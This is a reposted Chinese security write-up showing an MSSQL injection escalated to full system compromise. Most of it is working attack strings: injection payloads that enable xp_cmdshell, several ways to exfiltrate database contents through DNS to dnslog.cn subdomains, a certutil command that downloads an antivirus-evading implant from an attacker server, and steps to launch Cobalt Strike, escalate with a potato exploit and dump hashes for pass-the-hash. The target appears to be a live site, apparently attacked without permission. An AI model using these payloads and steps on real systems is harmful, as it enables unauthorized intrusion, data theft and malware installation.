记一次mssql注入到getshell
2021-09-26 20:22:54 Author: mp.weixin.qq.com(查看原文) 阅读量:375 收藏

本文来自宽字节安全第一期学员大头95投稿。第二期线下培训预计十一月底开班,欢迎咨询。

首先判断注入点

很明显的报错注入 判断是否是mssql:

powershelladmin' and exists (select * from sysobjects)  and '1'='1

说明条件为真,如果不是mssql则应该为如下提示:

判断是否是管理员权限:

powershelladmin' and 1=(select IS_SRVROLEMEMBER('sysadmin'))  and '1'='1

很明显是管理员权限,堆叠注入开启xp_cmdshell

powershelladmin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; -- q

判断一下能不能执行命令

powershelladmin';exec master..xp_cmdshell "ping d5bbvf.dnslog.cn; -- q

发现是可以执行命令的,好不容易遇到一个管理员权限的站,试一试各种dns外带数据 在允许堆叠注入的情况下,可以通过声明变量来将数据外带

sqlDECLARE @host varchar(1024);                                        声明变量@host

SELECT @host='ping '+(select db_name())+'.bll6ub.dnslog.cn';        变量赋值

EXEC('master..xp_cmdshell'+'"'+@host+'"');                          执行命令

在不允许堆叠注入的情况也可以将数据通过dns外带带出来,下面来介绍几种

sqland exists(select * from fn_xe_file_target_read_file('C:*.xls','\\'+(需要查询的内容)+'.bde3xv.dnslog.cn\1.txt',null,null))
sqland exists(select * from fn_trace_gettable('\\'+(select db_name())+'.6bg39e.dnslog.cn\1.trc',default))
sql(select 1 where exists(select * from fn_get_audit_file('\\'+(select db_name())+'.71dg9y.dnslog.cn\',default,default)))

这些方法在只允许盲注的情况下都可以把数据带出来,当然,也可以像sqlmap一样,将要查询的数据写到创建的表里面,再从表里面查出来。比如我想看看他c盘下有什么文件。为了方便看,bp抓包一波

sqlCREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));创建表cmdtable,字段名id和dir
insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:\';   将dir c:\ 的结果插入dir字段
select top 1 dir from cmdtable where id=2;                      查询字段内容

当然,最后的查询结果在这里只能通过报错或者dns外带出来。完整的语句如下

sqladmin';CREATE TABLE cmdtable ([Id] BIGINT PRIMARY KEY IDENTITY(1,1),[dir] varchar(8000));insert into cmdtable(dir) exec master..xp_cmdshell 'dir c:\';select convert(int,(select top 1 dir from cmdtable where id=10),111); -- 

接着往下改变id的值就能把c盘的文件都给遍历出来了。接下来就该查一下有没有杀软然后上传exe上线cs了 通过bp遍历发现是有defender的,所以上个免杀的马儿吧

certutil -urlcache -split -f http://vpsip:80/download/file c:\users\SBlogin.exe

但是经过多次上传都以失败告终,vps有请求,但是文件没有落上去,我想应该是c盘权限的问题,于是我有去列了一下盘符

wmic logicaldisk where drivetype=3 get deviceid

发现他还有一个D盘,于是我把我的exe落到了盘目录下再查询,下面再来一条查询指定文件的cmd命令

for /r d:\ %i in (SBlogin.exe) do @echo %i

当然直接dir d:\SBlogin.exe也可以 如果是盲注的情况,通过&&与dns外带也可判断出文件有没有落地

dir d:\SBlogin.exe && ping DNS

上传成功了,那就运行exe上线cs

服务权限,有SeImpersonatePrivilege这个令牌----->土豆提权

执行一下SBlogin.exe,提到system权限

看一下有没有域

wmic computersystem get domain

没有域,那就dump一波hash用administrator去PTH

很明显,administrator是空密码,横向不了,拉到了拉到了。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485292&idx=1&sn=033571585b6565290b17d85d241d50ba&chksm=fa8b1af4cdfc93e23ab0e2f24b86eca5073e62a733dc1ffc82eb87b44f76b87f75ac56174a11#rd
如有侵权请联系:admin#unsafe.sh